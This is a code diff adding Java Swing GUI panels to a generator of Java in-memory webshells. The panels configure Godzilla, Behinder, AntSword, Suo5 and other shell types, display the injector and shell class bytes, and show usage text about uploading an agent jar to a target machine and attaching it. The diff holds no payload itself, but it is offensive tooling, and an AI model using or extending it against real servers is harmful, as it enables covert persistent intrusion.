+        JPanel packTab = new JPanel(new MigLayout("insets 6, fill, wrap 1", "[grow,fill]", "[][grow]"));
+        packTab.add(wrapBasicInfoPanel(), "growx");
+        packTab.add(wrapPackResultPanel(), "grow, push");
+
+        tabs.addTab("生成结果", packTab);
+        tabs.addTab("内存马", wrapBase64Panel("内存马类字节(Base64)", shellArea, true, true));
+        tabs.addTab("注入器", wrapBase64Panel("注入器类字节(Base64)", injectorArea, false, true));
+        add(tabs, BorderLayout.CENTER);
+    }
+
+    private JPanel wrapBasicInfoPanel() {
+        JPanel p = new JPanel(new BorderLayout());
+        JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
+        top.add(new JLabel("基本信息"));
+
+        Border cardBorder = BorderFactory.createCompoundBorder(
+                BorderFactory.createLineBorder(UIManager.getColor("Component.borderColor") == null ? Color.LIGHT_GRAY : UIManager.getColor("Component.borderColor")),
+                BorderFactory.createEmptyBorder(6, 6, 6, 6)
+        );
+        p.setBorder(cardBorder);
+        p.add(top, BorderLayout.NORTH);
+        p.add(basicInfoView, BorderLayout.CENTER);
+        return p;
+    }
+
+    private JPanel wrapPackResultPanel() {
+        JPanel p = new JPanel(new BorderLayout());
+        JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
+        JButton copyBtn = new JButton("复制");
+        JButton saveBtn = new JButton("保存");
+        copyBtn.addActionListener(e -> ClipboardUtil.copyText(packResultArea.getText()));
+        saveBtn.addActionListener(e -> savePackResult());
+        top.add(new JLabel("打包结果"));
+        top.add(packHeaderLabel);
+        top.add(copyBtn);
+        top.add(saveBtn);
+        p.add(top, BorderLayout.NORTH);
+        p.add(new JScrollPane(packResultArea), BorderLayout.CENTER);
+        return p;
+    }
+
+    private JPanel wrapBase64Panel(String title, JTextArea area, boolean shell, boolean saveClass) {
+        JPanel p = new JPanel(new BorderLayout());
+        JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
+        JButton copyBtn = new JButton("复制");
+        JButton saveBtn = new JButton(saveClass ? "保存 .class" : "保存");
+        copyBtn.addActionListener(e -> ClipboardUtil.copyText(area.getText()));
+        saveBtn.addActionListener(e -> {
+            if (current == null) return;
+            try {
+                MemShellResult r = current.getMemShellResult();
+                if (shell) {
+                    FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getShellClassName()), r.getShellBytesBase64Str(), "class");
+                } else {
+                    FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getInjectorClassName()), r.getInjectorBytesBase64Str(), "class");
+                }
+            } catch (Exception ex) {
+                SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
+            }
+        });
+        top.add(new JLabel(title));
+        top.add(copyBtn);
+        top.add(saveBtn);
+        p.add(top, BorderLayout.NORTH);
+        p.add(new JScrollPane(area), BorderLayout.CENTER);
+        return p;
+    }
+
+    private JTextArea createTextArea() {
+        JTextArea area = new JTextArea();
+        area.setEditable(false);
+        area.setLineWrap(true);
+        area.setWrapStyleWord(true);
+        area.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
+        return area;
+    }
+
+    public void showResult(DesktopMemShellGenerateResult result) {
+        this.current = result;
+        MemShellResult r = result.getMemShellResult();
+        basicInfoView.setResult(result);
+        packHeaderLabel.setText(result.getPackMethod() + (result.getPackResult() == null ? "" : " (" + result.getPackResult().length() + ")"));
+        if (result.isJarOutput() || result.isAgentOutput()) {
+            packResultArea.setText(buildUsageText(result));
+        } else {
+            packResultArea.setText(result.getPackResult());
+        }
+        shellArea.setText(r.getShellBytesBase64Str());
+        injectorArea.setText(r.getInjectorBytesBase64Str());
+    }
+
+    public void clear() {
+        current = null;
+        basicInfoView.clear();
+        packResultArea.setText("");
+        shellArea.setText("");
+        injectorArea.setText("");
+        packHeaderLabel.setText("未生成");
+    }
+
+    private String buildUsageText(DesktopMemShellGenerateResult result) {
+        if (result.isAgentOutput()) {
+            return "1. 点击保存导出 Agent Jar\n2. 上传到目标机器\n3. 使用 jattach/attach 方式加载\n4. 按生成配置尝试连接/触发\n\n(下方“保存”按钮会保存打包后的 Jar)";
+        }
+        return "1. 点击保存导出 Jar\n2. 按目标环境触发类加载\n3. 使用基本信息中的参数连接内存马\n\n(下方“保存”按钮会保存打包后的 Jar)";
+    }
+
+    private void savePackResult() {
+        if (current == null) return;
+        try {
+            if (current.isJarOutput() || current.isAgentOutput()) {
+                String baseName = current.getMemShellResult().getShellConfig().getServer() + current.getMemShellResult().getShellConfig().getShellTool() + (current.isAgentOutput() ? "MemShellAgent" : "MemShell");
+                FileSaveUtil.saveBase64AsBytes(this, baseName + ".jar", current.getPackResult(), "jar");
+            } else {
+                FileSaveUtil.saveText(this, current.getPackMethod() + ".txt", current.getPackResult());
+            }
+        } catch (Exception ex) {
+            SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
+        }
+    }
+
+    private static String simpleClassFileName(String className) {
+        if (className == null || className.trim().isEmpty()) return "output.class";
+        int idx = className.lastIndexOf('.');
+        return (idx >= 0 ? className.substring(idx + 1) : className) + ".class";
+    }
+
+    public JComponent getBasicInfoComponent() {
+        return basicInfoView;
+    }
+
+    static final class BasicInfoView extends JPanel {
+        private final JPanel content = new JPanel(new MigLayout("insets 0, fillx, gapx 10, gapy 2, wrap 2", "[right]10[grow,fill]", "[]"));
+
+        BasicInfoView() {
+            super(new BorderLayout());
+            add(content, BorderLayout.CENTER);
+            clear();
+        }
+
+        void clear() {
+            content.removeAll();
+            content.revalidate();
+            content.repaint();
+        }
+
+        void setResult(DesktopMemShellGenerateResult result) {
+            content.removeAll();
+            MemShellResult r = result.getMemShellResult();
+            ShellConfig shellConfig = r.getShellConfig();
+            ShellToolConfig toolConfig = r.getShellToolConfig();
+            appendToolRows(shellConfig, toolConfig);
+            row("注入器类名", r.getInjectorClassName() + " (" + r.getInjectorSize() + " bytes)");
+            row("内存马类名", r.getShellClassName() + " (" + r.getShellSize() + " bytes)");
+            content.revalidate();
+            content.repaint();
+        }
+
+        private void appendToolRows(ShellConfig shellConfig, ShellToolConfig toolConfig) {
+            if (toolConfig == null) {
+                row("参数", "无");
+                return;
+            }
+            String tool = shellConfig == null ? null : shellConfig.getShellTool();
+            if (toolConfig instanceof GodzillaConfig) {
+                GodzillaConfig c = (GodzillaConfig) toolConfig;
+                row("密码", c.getPass());
+                row("密钥", c.getKey());
+                row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
+            } else if (toolConfig instanceof BehinderConfig) {
+                BehinderConfig c = (BehinderConfig) toolConfig;
+                row("密码", c.getPass());
+                row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
+            } else if (toolConfig instanceof CommandConfig) {
+                CommandConfig c = (CommandConfig) toolConfig;
+                row("参数名", c.getParamName());
+                row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
+                row("加密器", c.getEncryptor() == null ? "" : c.getEncryptor().name());
+                row("实现类", c.getImplementationClass() == null ? "" : c.getImplementationClass().name());
+                if (c.getTemplate() != null) {
+                    row("命令模板", c.getTemplate());
+                }
+            } else if (toolConfig instanceof AntSwordConfig) {
+                AntSwordConfig c = (AntSwordConfig) toolConfig;
+                row("密码", c.getPass());
+                row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
+            } else if (toolConfig instanceof Suo5Config) {
+                Suo5Config c = (Suo5Config) toolConfig;
+                row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
+            } else if (toolConfig instanceof ProxyConfig) {
+                ProxyConfig c = (ProxyConfig) toolConfig;
+                row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
+            } else if (toolConfig instanceof NeoreGeorgConfig) {
+                NeoreGeorgConfig c = (NeoreGeorgConfig) toolConfig;
+                row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
+            } else if (toolConfig instanceof CustomConfig) {
+                CustomConfig c = (CustomConfig) toolConfig;
+                String v = c.getShellClassBase64();
+                row("自定义类(Base64)", v == null ? "" : (v.length() > 32 ? v.substring(0, 32) + "..." : v));
+            } else if (tool != null) {
+                row("工具类型", tool);
+            }
+        }
+
+        private void row(String key, String value) {
+            addValueRow(key, value);
+        }
+
+        private void addValueRow(String key, String value) {
+            String text = value == null ? "" : value;
+            content.add(new JLabel(key));
+            JTextField tf = new JTextField(text);
+            tf.setEditable(false);
+            tf.setBorder(BorderFactory.createEmptyBorder(1, 4, 1, 4));
+            tf.setOpaque(true);
+            tf.setBackground(UIManager.getColor("Panel.background"));
+            tf.setToolTipText(value == null ? "" : value);
+            tf.setToolTipText(text);
+            content.add(tf, "growx, wrap");
+        }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/AbstractToolPanel.java

@@ -0,0 +1,118 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+import javax.swing.event.DocumentEvent;
+import javax.swing.event.DocumentListener;
+import java.awt.*;
+import java.util.List;
+import java.util.function.Consumer;
+
+public abstract class AbstractToolPanel extends JPanel implements RefreshableToolPanel {
+    protected final MemShellFormController controller;
+    protected final Runnable refreshAll;
+    protected boolean updating;
+
+    protected final JComboBox<String> shellTypeCombo = new JComboBox<>();
+    protected final JTextField urlPatternField = new JTextField();
+    protected final JPanel shellTypeAndUrlRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[50%,fill][50%,fill]", "[]"));
+    protected JPanel urlPatternRow = new JPanel(new BorderLayout());
+    protected final JCheckBox randomClassNameCheck = new JCheckBox("随机类名");
+    protected final JPanel manualClassPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
+    protected final JTextField shellClassNameField = new JTextField();
+    protected final JTextField injectorClassNameField = new JTextField();
+
+    protected AbstractToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        this.controller = controller;
+        this.refreshAll = refreshAll;
+        setLayout(new MigLayout("insets 6, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
+        buildCommonShellTypeSection();
+    }
+
+    protected void buildCommonShellTypeSection() {
+        shellTypeAndUrlRow.add(labeled("内存马挂载类型", shellTypeCombo), "growx");
+        urlPatternRow = labeled("请求路径", urlPatternField);
+        shellTypeAndUrlRow.add(urlPatternRow, "growx");
+        add(shellTypeAndUrlRow, "span 2, growx, wrap");
+
+        shellTypeCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = shellTypeCombo.getSelectedItem();
+            if (item != null) {
+                controller.setShellType(String.valueOf(item));
+                refreshAll.run();
+            }
+        });
+        bindText(urlPatternField, controller::setUrlPattern);
+    }
+
+    protected void addRandomClassSection() {
+        add(randomClassNameCheck, "span 2, split 2, wrap");
+        manualClassPanel.add(labeled("内存马类名", shellClassNameField), "growx");
+        manualClassPanel.add(labeled("注入器类名", injectorClassNameField), "growx");
+        add(manualClassPanel, "span 2, growx, hidemode 3");
+
+        randomClassNameCheck.addActionListener(e -> {
+            if (updating) return;
+            controller.setRandomClassName(randomClassNameCheck.isSelected());
+            refreshAll.run();
+        });
+        bindText(shellClassNameField, controller::setShellClassName);
+        bindText(injectorClassNameField, controller::setInjectorClassName);
+    }
+
+    protected JPanel labeled(String label, JComponent component) {
+        JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
+        p.add(new JLabel(label), "growx");
+        p.add(component, "growx");
+        return p;
+    }
+
+    protected void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
+        combo.removeAllItems();
+        for (String item : items) combo.addItem(item);
+        if (selected != null) combo.setSelectedItem(selected);
+    }
+
+    protected void bindText(JTextField field, Consumer<String> setter) {
+        field.getDocument().addDocumentListener(new DocumentListener() {
+            @Override
+            public void insertUpdate(DocumentEvent e) {
+                changed();
+            }
+
+            @Override
+            public void removeUpdate(DocumentEvent e) {
+                changed();
+            }
+
+            @Override
+            public void changedUpdate(DocumentEvent e) {
+                changed();
+            }
+
+            private void changed() {
+                if (updating) return;
+                setter.accept(field.getText());
+            }
+        });
+    }
+
+    protected void applyCommonState(MemShellFormState s) {
+        updating = true;
+        try {
+            setComboItems(shellTypeCombo, controller.getShellTypesForCurrentTool(), s.getShellType());
+            urlPatternField.setText(s.getUrlPattern());
+            randomClassNameCheck.setSelected(s.isRandomClassName());
+            boolean nextManualClassVisible = !s.isRandomClassName();
+            manualClassPanel.setVisible(nextManualClassVisible);
+            shellClassNameField.setText(s.getShellClassName());
+            injectorClassNameField.setText(s.getInjectorClassName());
+        } finally {
+            updating = false;
+        }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/AntSwordToolPanel.java

@@ -0,0 +1,34 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+
+import javax.swing.*;
+
+public class AntSwordToolPanel extends AbstractToolPanel {
+    private final JTextField passField = new JTextField();
+    private final JTextField headerNameField = new JTextField();
+    private final JTextField headerValueField = new JTextField();
+
+    public AntSwordToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(controller, refreshAll);
+        add(labeled("密码(可选)", passField), "span 2, growx, wrap");
+        add(labeled("请求头名", headerNameField), "growx");
+        add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
+        addRandomClassSection();
+        bindText(passField, controller::setAntSwordPass);
+        bindText(headerNameField, controller::setHeaderName);
+        bindText(headerValueField, controller::setHeaderValue);
+    }
+
+    @Override public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        try {
+            passField.setText(s.getAntSwordPass());
+            headerNameField.setText(s.getHeaderName());
+            headerValueField.setText(s.getHeaderValue());
+        } finally { updating = false; }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/BehinderToolPanel.java

@@ -0,0 +1,34 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+
+import javax.swing.*;
+
+public class BehinderToolPanel extends AbstractToolPanel {
+    private final JTextField passField = new JTextField();
+    private final JTextField headerNameField = new JTextField();
+    private final JTextField headerValueField = new JTextField();
+
+    public BehinderToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(controller, refreshAll);
+        add(labeled("密码(可选)", passField), "span 2, growx, wrap");
+        add(labeled("请求头名", headerNameField), "growx");
+        add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
+        addRandomClassSection();
+        bindText(passField, controller::setBehinderPass);
+        bindText(headerNameField, controller::setHeaderName);
+        bindText(headerValueField, controller::setHeaderValue);
+    }
+
+    @Override public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        try {
+            passField.setText(s.getBehinderPass());
+            headerNameField.setText(s.getHeaderName());
+            headerValueField.setText(s.getHeaderValue());
+        } finally { updating = false; }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/CommandToolPanel.java

@@ -0,0 +1,99 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+
+public class CommandToolPanel extends AbstractToolPanel {
+    private final JPanel paramRow = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[]"));
+    private final JTextField paramField = new JTextField();
+    private final JPanel headerRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
+    private final JTextField headerNameField = new JTextField();
+    private final JTextField headerValueField = new JTextField();
+    private final JCheckBox advancedToggle = new JCheckBox("高级配置");
+    private final JPanel advancedPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
+    private final JComboBox<String> encryptorCombo = new JComboBox<>();
+    private final JComboBox<String> implCombo = new JComboBox<>();
+    private final JTextField commandTemplateField = new JTextField();
+
+    public CommandToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(controller, refreshAll);
+        paramRow.add(labeled("参数名(可选)", paramField), "growx");
+        add(paramRow, "span 2, growx, wrap, hidemode 3");
+
+        headerRow.add(labeled("请求头名", headerNameField), "growx");
+        headerRow.add(labeled("请求头值(可选)", headerValueField), "growx");
+        add(headerRow, "span 2, growx, wrap, hidemode 3");
+
+        add(advancedToggle, "span 2, gapy 2 0, wrap");
+        advancedPanel.add(labeled("加密器", encryptorCombo), "growx");
+        advancedPanel.add(labeled("实现类", implCombo), "growx");
+        advancedPanel.add(labeled("命令模板(可选)", commandTemplateField), "span 2, growx");
+        add(advancedPanel, "span 2, growx, wrap, hidemode 3");
+
+        addRandomClassSection();
+
+        bindText(paramField, controller::setCommandParamName);
+        bindText(headerNameField, controller::setHeaderName);
+        bindText(headerValueField, controller::setHeaderValue);
+        bindText(commandTemplateField, controller::setCommandTemplate);
+
+        encryptorCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = encryptorCombo.getSelectedItem();
+            controller.setEncryptor(item == null ? "" : String.valueOf(item));
+        });
+        implCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = implCombo.getSelectedItem();
+            controller.setImplementationClass(item == null ? "" : String.valueOf(item));
+        });
+        advancedToggle.addActionListener(e -> {
+            advancedPanel.setVisible(advancedToggle.isSelected());
+            revalidate();
+            repaint();
+        });
+    }
+
+    @Override public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        boolean layoutVisibilityChanged = false;
+        try {
+            String encryptor = (s.getEncryptor() == null || s.getEncryptor().trim().isEmpty())
+                    ? (controller.getCommandEncryptors().isEmpty() ? null : controller.getCommandEncryptors().get(0))
+                    : s.getEncryptor();
+            String impl = (s.getImplementationClass() == null || s.getImplementationClass().trim().isEmpty())
+                    ? (controller.getCommandImplementationClasses().isEmpty() ? null : controller.getCommandImplementationClasses().get(0))
+                    : s.getImplementationClass();
+            setComboItems(encryptorCombo, controller.getCommandEncryptors(), encryptor);
+            setComboItems(implCombo, controller.getCommandImplementationClasses(), impl);
+            boolean nextParamVisible = controller.isCommandParamVisible();
+            boolean nextHeaderVisible = controller.isCommandHeaderVisible();
+            if (paramRow.isVisible() != nextParamVisible) {
+                layoutVisibilityChanged = true;
+            }
+            if (headerRow.isVisible() != nextHeaderVisible) {
+                layoutVisibilityChanged = true;
+            }
+            paramRow.setVisible(nextParamVisible);
+            headerRow.setVisible(nextHeaderVisible);
+            paramField.setText(s.getCommandParamName());
+            headerNameField.setText(s.getHeaderName());
+            headerValueField.setText(s.getHeaderValue());
+            commandTemplateField.setText(s.getCommandTemplate());
+            boolean nextAdvancedVisible = advancedToggle.isSelected();
+            if (advancedPanel.isVisible() != nextAdvancedVisible) {
+                layoutVisibilityChanged = true;
+            }
+            advancedPanel.setVisible(nextAdvancedVisible);
+        } finally { updating = false; }
+        if (layoutVisibilityChanged) {
+            revalidate();
+            repaint();
+        }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/CustomToolPanel.java

@@ -0,0 +1,131 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
+import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+import javax.swing.event.DocumentEvent;
+import javax.swing.event.DocumentListener;
+import java.awt.event.ActionEvent;
+import java.io.File;
+import java.nio.file.Files;
+import java.util.Base64;
+
+public class CustomToolPanel extends AbstractToolPanel {
+    private final CustomClassNameParser parser;
+    private final JRadioButton base64Mode = new JRadioButton("Base64", true);
+    private final JRadioButton fileMode = new JRadioButton("File");
+    private final JTextArea base64Area = new JTextArea(4, 40);
+    private final JButton fileButton = new JButton("选择 .class 文件");
+    private final JLabel fileLabel = new JLabel("未选择文件");
+    private final JPanel base64Panel = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[grow,fill]"));
+    private final JPanel filePanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][]", "[]"));
+    private final Timer parseDebounce;
+
+    public CustomToolPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
+        super(controller, refreshAll);
+        this.parser = parser;
+
+        ButtonGroup group = new ButtonGroup();
+        group.add(base64Mode);
+        group.add(fileMode);
+        add(new JLabel("Shell Class"));
+        JPanel radioWrap = new JPanel(new MigLayout("insets 0, gapx 8", "[][]", "[]"));
+        radioWrap.add(base64Mode);
+        radioWrap.add(fileMode);
+        add(radioWrap, "growx, wrap");
+
+        base64Panel.add(new JScrollPane(base64Area), "grow");
+        filePanel.add(fileLabel, "growx");
+        filePanel.add(fileButton);
+        add(base64Panel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
+        add(filePanel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
+
+        addRandomClassSection();
+
+        parseDebounce = new Timer(400, this::parseAndFillClassName);
+        parseDebounce.setRepeats(false);
+
+        base64Area.getDocument().addDocumentListener(new DocumentListener() {
+            @Override public void insertUpdate(DocumentEvent e) { changed(); }
+            @Override public void removeUpdate(DocumentEvent e) { changed(); }
+            @Override public void changedUpdate(DocumentEvent e) { changed(); }
+            private void changed() {
+                if (updating) return;
+                controller.setShellClassBase64(base64Area.getText());
+                parseDebounce.restart();
+            }
+        });
+
+        base64Mode.addActionListener(e -> {
+            if (updating) return;
+            controller.setCustomInputMode("base64");
+            refreshAll.run();
+        });
+        fileMode.addActionListener(e -> {
+            if (updating) return;
+            controller.setCustomInputMode("file");
+            refreshAll.run();
+        });
+        fileButton.addActionListener(this::chooseFile);
+    }
+
+    private void chooseFile(ActionEvent event) {
+        JFileChooser chooser = new JFileChooser();
+        int result = chooser.showOpenDialog(this);
+        if (result != JFileChooser.APPROVE_OPTION) return;
+        File file = chooser.getSelectedFile();
+        try {
+            byte[] bytes = Files.readAllBytes(file.toPath());
+            String base64 = Base64.getEncoder().encodeToString(bytes);
+            controller.setShellClassBase64(base64);
+            fileLabel.setText(file.getName());
+            String className = parser.parseClassName(bytes);
+            controller.setShellClassName(className);
+            refreshAll.run();
+        } catch (Exception ex) {
+            SwingUiUtil.showError(this, "读取自定义类失败: " + ex.getMessage());
+        }
+    }
+
+    private void parseAndFillClassName(ActionEvent ignored) {
+        try {
+            String base64 = controller.getState().getShellClassBase64();
+            if (base64 == null || base64.trim().isEmpty()) return;
+            String className = parser.parseClassNameFromBase64(base64);
+            controller.setShellClassName(className);
+            refreshAll.run();
+        } catch (Exception ignoredEx) {
+            // ignore parse errors while typing/pasting
+        }
+    }
+
+    @Override public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        boolean layoutVisibilityChanged = false;
+        try {
+            base64Mode.setSelected("base64".equalsIgnoreCase(s.getCustomInputMode()));
+            fileMode.setSelected("file".equalsIgnoreCase(s.getCustomInputMode()));
+            boolean nextBase64Visible = base64Mode.isSelected();
+            boolean nextFileVisible = fileMode.isSelected();
+            if (base64Panel.isVisible() != nextBase64Visible) {
+                layoutVisibilityChanged = true;
+            }
+            if (filePanel.isVisible() != nextFileVisible) {
+                layoutVisibilityChanged = true;
+            }
+            base64Panel.setVisible(nextBase64Visible);
+            filePanel.setVisible(nextFileVisible);
+            base64Area.setText(s.getShellClassBase64());
+        } finally { updating = false; }
+        if (layoutVisibilityChanged) {
+            revalidate();
+            repaint();
+        }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/GodzillaToolPanel.java

@@ -0,0 +1,40 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+
+public class GodzillaToolPanel extends AbstractToolPanel {
+    private final JTextField passField = new JTextField();
+    private final JTextField keyField = new JTextField();
+    private final JTextField headerNameField = new JTextField();
+    private final JTextField headerValueField = new JTextField();
+
+    public GodzillaToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(controller, refreshAll);
+        add(labeled("密码(可选)", passField), "growx");
+        add(labeled("密钥(可选)", keyField), "growx, wrap");
+        add(labeled("请求头名", headerNameField), "growx");
+        add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
+        addRandomClassSection();
+        bindText(passField, controller::setGodzillaPass);
+        bindText(keyField, controller::setGodzillaKey);
+        bindText(headerNameField, controller::setHeaderName);
+        bindText(headerValueField, controller::setHeaderValue);
+    }
+
+    @Override
+    public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        try {
+            passField.setText(s.getGodzillaPass());
+            keyField.setText(s.getGodzillaKey());
+            headerNameField.setText(s.getHeaderName());
+            headerValueField.setText(s.getHeaderValue());
+        } finally { updating = false; }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/NeoRegToolPanel.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+
+import javax.swing.*;
+
+public class NeoRegToolPanel extends AbstractToolPanel {
+    private final JTextField headerNameField = new JTextField();
+    private final JTextField headerValueField = new JTextField();
+
+    public NeoRegToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(controller, refreshAll);
+        add(labeled("请求头名", headerNameField), "growx");
+        add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
+        addRandomClassSection();
+        bindText(headerNameField, controller::setHeaderName);
+        bindText(headerValueField, controller::setHeaderValue);
+    }
+
+    @Override public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        try {
+            headerNameField.setText(s.getHeaderName());
+            headerValueField.setText(s.getHeaderValue());
+        } finally { updating = false; }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/ProxyToolPanel.java

@@ -0,0 +1,42 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+
+import javax.swing.*;
+
+public class ProxyToolPanel extends AbstractToolPanel {
+    private final JPanel headerPanel = new JPanel(new net.miginfocom.swing.MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
+    private final JTextField headerNameField = new JTextField();
+    private final JTextField headerValueField = new JTextField();
+
+    public ProxyToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(controller, refreshAll);
+        headerPanel.add(labeled("请求头名", headerNameField), "growx");
+        headerPanel.add(labeled("请求头值(可选)", headerValueField), "growx");
+        add(headerPanel, "span 2, growx, wrap, hidemode 3");
+        addRandomClassSection();
+        bindText(headerNameField, controller::setHeaderName);
+        bindText(headerValueField, controller::setHeaderValue);
+    }
+
+    @Override public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        boolean layoutVisibilityChanged = false;
+        try {
+            boolean nextHeaderVisible = controller.isProxyHeaderVisible();
+            if (headerPanel.isVisible() != nextHeaderVisible) {
+                layoutVisibilityChanged = true;
+            }
+            headerPanel.setVisible(nextHeaderVisible);
+            headerNameField.setText(s.getHeaderName());
+            headerValueField.setText(s.getHeaderValue());
+        } finally { updating = false; }
+        if (layoutVisibilityChanged) {
+            revalidate();
+            repaint();
+        }
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/RefreshableToolPanel.java

@@ -0,0 +1,5 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+public interface RefreshableToolPanel {
+    void refreshFromController();
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/tool/Suo5ToolPanel.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+
+import javax.swing.*;
+
+public class Suo5ToolPanel extends AbstractToolPanel {
+    private final JTextField headerNameField = new JTextField();
+    private final JTextField headerValueField = new JTextField();
+
+    public Suo5ToolPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(controller, refreshAll);
+        add(labeled("请求头名", headerNameField), "growx");
+        add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
+        addRandomClassSection();
+        bindText(headerNameField, controller::setHeaderName);
+        bindText(headerValueField, controller::setHeaderValue);
+    }
+
+    @Override public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        applyCommonState(s);
+        updating = true;
+        try {
+            headerNameField.setText(s.getHeaderName());
+            headerValueField.setText(s.getHeaderValue());
+        } finally { updating = false; }
+    }
+}

